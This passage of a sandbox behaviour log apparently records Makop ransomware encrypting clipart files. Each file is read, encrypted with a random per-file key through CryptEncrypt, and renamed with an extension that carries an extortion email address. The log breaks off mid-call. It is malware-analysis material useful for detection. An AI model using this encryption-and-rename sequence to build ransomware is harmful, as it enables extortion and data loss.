[0149.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.609] CloseHandle (hObject=0xf0) returned 1 [0149.609] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0149.609] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF") returned 63 [0149.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.610] GetProcessHeap () returned 0x48a0000 [0149.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.611] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.611] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.611] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.615] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.615] GetProcessHeap () returned 0x48a0000 [0149.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.615] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.615] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.615] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.616] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.616] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.638] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.638] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.638] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e5c, lpOverlapped=0x0) returned 1 [0149.640] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60) returned 1 [0149.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e60, lpOverlapped=0x0) returned 1 [0149.641] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.641] SetEndOfFile (hFile=0xf0) returned 1 [0149.647] GetProcessHeap () returned 0x48a0000 [0149.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.648] GetProcessHeap () returned 0x48a0000 [0149.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.648] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.650] CloseHandle (hObject=0xf0) returned 1 [0149.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0149.650] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 63 [0149.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.653] GetProcessHeap () returned 0x48a0000 [0149.653] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.653] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.653] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0149.658] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.658] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.658] GetProcessHeap () returned 0x48a0000 [0149.658] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.658] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.658] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.659] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.659] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.659] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.659] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.659] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3642, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3642, lpOverlapped=0x0) returned 1 [0149.661] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3650, dwBufLen=0x3650 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3650) returned 1 [0149.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3650, lpOverlapped=0x0) returned 1 [0149.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.662] SetEndOfFile (hFile=0xf0) returned 1 [0149.670] GetProcessHeap () returned 0x48a0000 [0149.670] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.670] GetProcessHeap () returned 0x48a0000 [0149.670] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.670] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.672] CloseHandle (hObject=0xf0) returned 1 [0149.672] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0149.672] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF") returned 63 [0149.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.673] GetProcessHeap () returned 0x48a0000 [0149.673] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.673] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.673] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0149.678] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.678] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.678] GetProcessHeap () returned 0x48a0000 [0149.678] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.678] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.678] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.679] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.679] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.680] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.680] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.680] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x476e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x476e, lpOverlapped=0x0) returned 1 [0149.682] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4770, dwBufLen=0x4770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4770) returned 1 [0149.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4770, lpOverlapped=0x0) returned 1 [0149.682] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.683] SetEndOfFile (hFile=0xf0) returned 1 [0149.690] GetProcessHeap () returned 0x48a0000 [0149.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.690] GetProcessHeap () returned 0x48a0000 [0149.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.690] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.692] CloseHandle (hObject=0xf0) returned 1 [0149.692] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0149.692] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF") returned 63 [0149.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.693] GetProcessHeap () returned 0x48a0000 [0149.693] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.693] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.693] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.693] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.694] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.694] GetProcessHeap () returned 0x48a0000 [0149.694] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.694] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.694] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.694] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.703] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.703] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd8e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd8e0, lpOverlapped=0x0) returned 1 [0149.706] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd8e0, dwBufLen=0xd8e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd8e0) returned 1 [0149.706] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.707] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd8e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd8e0, lpOverlapped=0x0) returned 1 [0149.707] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.707] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.707] SetEndOfFile (hFile=0xf0) returned 1 [0149.715] GetProcessHeap () returned 0x48a0000 [0149.715] HeapFree (in: 